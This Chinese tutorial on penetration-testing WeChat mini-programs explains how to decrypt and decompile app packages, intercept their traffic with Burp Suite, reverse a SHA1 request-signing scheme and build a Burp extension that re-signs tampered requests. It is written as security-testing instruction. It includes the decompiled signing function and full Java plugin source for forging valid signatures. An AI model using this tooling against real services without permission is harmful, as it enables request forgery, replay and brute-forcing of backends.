初探小程序渗透--Sign 签名破解
字数 1953 2025-08-23 18:31:09

小程序渗透测试:Sign签名破解与BurpSuite插件开发

1. 小程序代码包获取与处理

1.1 获取小程序代码包路径

PC端微信小程序的代码包存储路径:

C:\Users\[用户名]\Documents\WeChat Files\Applet\
  • 每个以wx为前缀的文件夹对应不同的小程序
  • 主包文件名为__APP__.wxapkg
  • 可能还存在其他.wxapkg文件(分包)

1.2 识别加密的代码包

  • 加密包特征:文件头以V1MMWX开头
  • 未加密包特征
    • 第一个字节为BE
    • 第十四个字节为ED
    • 可见类似文件路径的明文

1.3 解密代码包

使用工具:UnpackMiniApp.exe

  • 直接对.wxapkg文件执行解密
  • 无论是否加密都会给出相应提示
  • 解密成功后会生成解密后的代码包文件

1.4 反编译代码包

使用工具:wxappUnpacker中的bingo.bat

执行命令:

bingo.bat [解密后的wxapkg文件路径]

反编译结果:

  • 在同目录下生成与wxapkg文件同名的文件夹
  • 包含小程序的原始代码文件和资源文件

2. 小程序抓包技术

2.1 抓包方案

使用Proxifier + BurpSuite组合:

  1. BurpSuite设置

    • 开启代理,监听127.0.0.1:8080
  2. Proxifier设置

    • 代理服务器:HTTPS 127.0.0.1:8080
    • 代理规则:
      • WeChatAppEx.exe的所有流量发送到BurpSuite代理
      • 其他规则设置为Direct

2.2 关键点

  • WeChatAppEx.exe是微信小程序客户端程序
  • 所有通过该程序打开的小程序流量都会经过代理

3. Sign签名机制分析

3.1 签名参数识别

常见签名相关参数:

  • timestamp:时间戳
  • nonce/noncestr:随机数
  • sign:签名值

3.2 签名生成流程分析

从反编译代码中找到的签名函数:

sign = exports.sign = function() {
    var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {},
        t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : _appSignKey,
        n = (arguments.length > 2 && void 0 !== arguments[2] && arguments[2], Object.assign({}, e)),
        r = {
            appSignKey: t
        };
    n.timestamp = 1e3 * Math.floor(Date.now() / 6e4) * 60,
    n.noncestr = randomWords(8, "number");
    var a = Object.keys(n).filter(function(e) {
        return void 0 !== n[e] && "" !== n[e] || (delete n[e], !1);
    }).concat("appSignKey").sort().map(function(e) {
        return e + "=" + (r[e] || (void 0 === n[e] ? "" : n[e]));
    }).join("&");
    return n.sign = (0, _sha2.default)(a),
    n;
};

3.3 签名生成步骤详解

  1. 参数准备

    • 获取所有请求参数(排除sign
    • 添加timestamp(当前时间戳)
    • 添加noncestr(8位随机数字)
    • 添加appSignKey(固定密钥,从小程序代码中获取)
  2. 参数处理

    • 过滤掉值为undefined或空字符串的参数
    • 添加appSignKey到参数列表
    • 对所有参数按键名升序排序
  3. 字符串构造

    • 格式:key1=value1&key2=value2...
    • 示例:appSignKey=xxx&categoryId=0&noncestr=38551338&timestamp=1707845023004
  4. 哈希计算

    • 对构造的字符串进行SHA1哈希计算
    • 结果作为sign参数值

4. BurpSuite插件开发

4.1 开发环境准备

  1. 导出BurpSuite API

    • 通过BurpSuite的Extender -> APIs -> Save interface files导出
  2. 项目结构

    • 创建Java项目
    • 将导出的API文件放在burp包下

4.2 插件框架

基本类结构:

package burp;

public class BurpExtender implements IBurpExtender, IHttpListener {
    @Override
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
        // 初始化代码
    }
    
    @Override
    public void processHttpMessage(int toolFlag, boolean messageIsRequest, 
                                  IHttpRequestResponse messageInfo) {
        // 处理HTTP消息
    }
}

4.3 插件初始化

private IExtensionHelpers helpers;
private IBurpExtenderCallbacks callbacks;
private PrintWriter stdout;
private PrintWriter stderr;

@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
    this.callbacks = callbacks;
    helpers = callbacks.getHelpers();
    stdout = new PrintWriter(callbacks.getStdout(), true);
    stderr = new PrintWriter(callbacks.getStderr(), true);
    callbacks.setExtensionName("AutoSign");
    callbacks.registerHttpListener(this);
    stdout.println("burpsuite extender AutoSign is loaded.");
}

4.4 签名篡改实现

@Override
public synchronized void processHttpMessage(int toolFlag, boolean messageIsRequest, 
                                          IHttpRequestResponse messageInfo) {
    if (messageIsRequest && ((toolFlag & IBurpExtenderCallbacks.TOOL_REPEATER) != 0 || 
                            (toolFlag & IBurpExtenderCallbacks.TOOL_INTRUDER) != 0 || 
                            (toolFlag & IBurpExtenderCallbacks.TOOL_PROXY) != 0)) {
        // 获取请求和参数
        byte[] request = messageInfo.getRequest();
        IRequestInfo requestInfo = helpers.analyzeRequest(request);
        List<IParameter> parameters = requestInfo.getParameters();
        
        // 移除所有参数
        parameters.forEach(iParameter -> {
            request = helpers.removeParameter(request, iParameter);
        });
        
        // 移除sign和timestamp参数
        parameters.removeIf(iParameter -> {
            return (iParameter.getName().equals("sign")) || 
                   (iParameter.getName().equals("timestamp"));
        });
        
        // 添加appSignKey和新的timestamp
        IParameter appSignKey = helpers.buildParameter("appSignKey", APP_SIGN_KEY, IParameter.PARAM_URL);
        parameters.add(appSignKey);
        IParameter timestamp = helpers.buildParameter("timestamp", "" + System.currentTimeMillis(), IParameter.PARAM_URL);
        parameters.add(timestamp);
        
        // 参数排序
        parameters.sort((o1, o2) -> o1.getName().compareTo(o2.getName()));
        
        // 构造签名字符串
        StringBuilder queryString = new StringBuilder();
        parameters.forEach(iParameter -> {
            try {
                queryString.append(iParameter.getName() + "=" + 
                                 URLDecoder.decode(iParameter.getValue(), "UTF-8") + "&");
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            }
        });
        String unSignedData = queryString.substring(0, queryString.length() - 1);
        
        // 计算SHA1签名
        IParameter sign = helpers.buildParameter("sign", sha1(unSignedData), IParameter.PARAM_URL);
        parameters.add(sign);
        
        // 重新添加参数(排除appSignKey)
        parameters.forEach(iParameter -> {
            if (!iParameter.getName().equals("appSignKey"))
                request = helpers.addParameter(request, iParameter);
        });
        
        // 更新请求
        messageInfo.setRequest(request);
    }
}

4.5 SHA1计算函数

private String sha1(String input) {
    try {
        MessageDigest messageDigest = MessageDigest.getInstance("SHA-1");
        byte[] hash = messageDigest.digest(input.getBytes());
        StringBuilder hex = new StringBuilder();
        for (byte b : hash) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    } catch (Exception e) {
        stderr.println(e.getMessage());
    }
    return null;
}

5. 关键问题与解决方案

5.1 多线程问题

  • 问题表现:在Intruder模块多线程发送请求时,参数可能混乱
  • 解决方案:给processHttpMessage方法添加synchronized关键字

5.2 相同时间戳问题

  • 问题表现:相同时间戳的请求会返回"签名已失效"
  • 解决方案
    • 在Intruder中设置请求间隔
    • 确保每个请求的timestamp不同

5.3 其他注意事项

  1. appSignKey需要从小程序代码中获取
  2. 参数排序必须严格按照字母升序
  3. 空值和undefined值需要过滤掉
  4. 字符串构造时注意URL编码

6. 测试与验证

  1. 插件加载

    • 通过BurpSuite的Extender -> Add加载生成的jar包
    • 检查控制台输出确认加载成功
  2. Repeater测试

    • 不加载插件时重发请求应返回"签名已失效"
    • 加载插件后重发请求应返回正常业务数据
  3. 日志查看

    • 通过Logger模块查看篡改后的signtimestamp参数

7. 替代方案

  • 使用Burpy插件(支持Python编写插件)
  • 其他签名破解工具如Xposed模块

8. 总结

本教学详细介绍了小程序渗透测试中Sign签名破解的全过程,包括:

  1. 小程序代码包的获取、解密和反编译
  2. 抓包技术的实现
  3. 签名机制的分析与逆向
  4. BurpSuite插件的开发与实现
  5. 常见问题的解决方案

通过这套方法,可以有效地破解小程序的安全签名机制,实现请求参数的篡改和重放。这种方法不仅适用于渗透测试,也可用于安全研究和漏洞挖掘。

小程序渗透测试:Sign签名破解与BurpSuite插件开发 1. 小程序代码包获取与处理 1.1 获取小程序代码包路径 PC端微信小程序的代码包存储路径: 每个以 wx 为前缀的文件夹对应不同的小程序 主包文件名为 __APP__.wxapkg 可能还存在其他 .wxapkg 文件(分包) 1.2 识别加密的代码包 加密包特征 :文件头以 V1MMWX 开头 未加密包特征 : 第一个字节为 BE 第十四个字节为 ED 可见类似文件路径的明文 1.3 解密代码包 使用工具: UnpackMiniApp.exe 直接对 .wxapkg 文件执行解密 无论是否加密都会给出相应提示 解密成功后会生成解密后的代码包文件 1.4 反编译代码包 使用工具: wxappUnpacker 中的 bingo.bat 执行命令: 反编译结果: 在同目录下生成与wxapkg文件同名的文件夹 包含小程序的原始代码文件和资源文件 2. 小程序抓包技术 2.1 抓包方案 使用 Proxifier + BurpSuite 组合: BurpSuite设置 : 开启代理,监听 127.0.0.1:8080 Proxifier设置 : 代理服务器:HTTPS 127.0.0.1:8080 代理规则: 将 WeChatAppEx.exe 的所有流量发送到BurpSuite代理 其他规则设置为 Direct 2.2 关键点 WeChatAppEx.exe 是微信小程序客户端程序 所有通过该程序打开的小程序流量都会经过代理 3. Sign签名机制分析 3.1 签名参数识别 常见签名相关参数: timestamp :时间戳 nonce / noncestr :随机数 sign :签名值 3.2 签名生成流程分析 从反编译代码中找到的签名函数: 3.3 签名生成步骤详解 参数准备 : 获取所有请求参数(排除 sign ) 添加 timestamp (当前时间戳) 添加 noncestr (8位随机数字) 添加 appSignKey (固定密钥,从小程序代码中获取) 参数处理 : 过滤掉值为 undefined 或空字符串的参数 添加 appSignKey 到参数列表 对所有参数按键名升序排序 字符串构造 : 格式: key1=value1&key2=value2... 示例: appSignKey=xxx&categoryId=0&noncestr=38551338&timestamp=1707845023004 哈希计算 : 对构造的字符串进行SHA1哈希计算 结果作为 sign 参数值 4. BurpSuite插件开发 4.1 开发环境准备 导出BurpSuite API : 通过BurpSuite的 Extender -> APIs -> Save interface files 导出 项目结构 : 创建Java项目 将导出的API文件放在 burp 包下 4.2 插件框架 基本类结构: 4.3 插件初始化 4.4 签名篡改实现 4.5 SHA1计算函数 5. 关键问题与解决方案 5.1 多线程问题 问题表现 :在Intruder模块多线程发送请求时,参数可能混乱 解决方案 :给 processHttpMessage 方法添加 synchronized 关键字 5.2 相同时间戳问题 问题表现 :相同时间戳的请求会返回"签名已失效" 解决方案 : 在Intruder中设置请求间隔 确保每个请求的 timestamp 不同 5.3 其他注意事项 appSignKey 需要从小程序代码中获取 参数排序必须严格按照字母升序 空值和 undefined 值需要过滤掉 字符串构造时注意URL编码 6. 测试与验证 插件加载 : 通过BurpSuite的 Extender -> Add 加载生成的jar包 检查控制台输出确认加载成功 Repeater测试 : 不加载插件时重发请求应返回"签名已失效" 加载插件后重发请求应返回正常业务数据 日志查看 : 通过 Logger 模块查看篡改后的 sign 和 timestamp 参数 7. 替代方案 使用 Burpy 插件(支持Python编写插件) 其他签名破解工具如 Xposed 模块 8. 总结 本教学详细介绍了小程序渗透测试中Sign签名破解的全过程,包括: 小程序代码包的获取、解密和反编译 抓包技术的实现 签名机制的分析与逆向 BurpSuite插件的开发与实现 常见问题的解决方案 通过这套方法,可以有效地破解小程序的安全签名机制,实现请求参数的篡改和重放。这种方法不仅适用于渗透测试,也可用于安全研究和漏洞挖掘。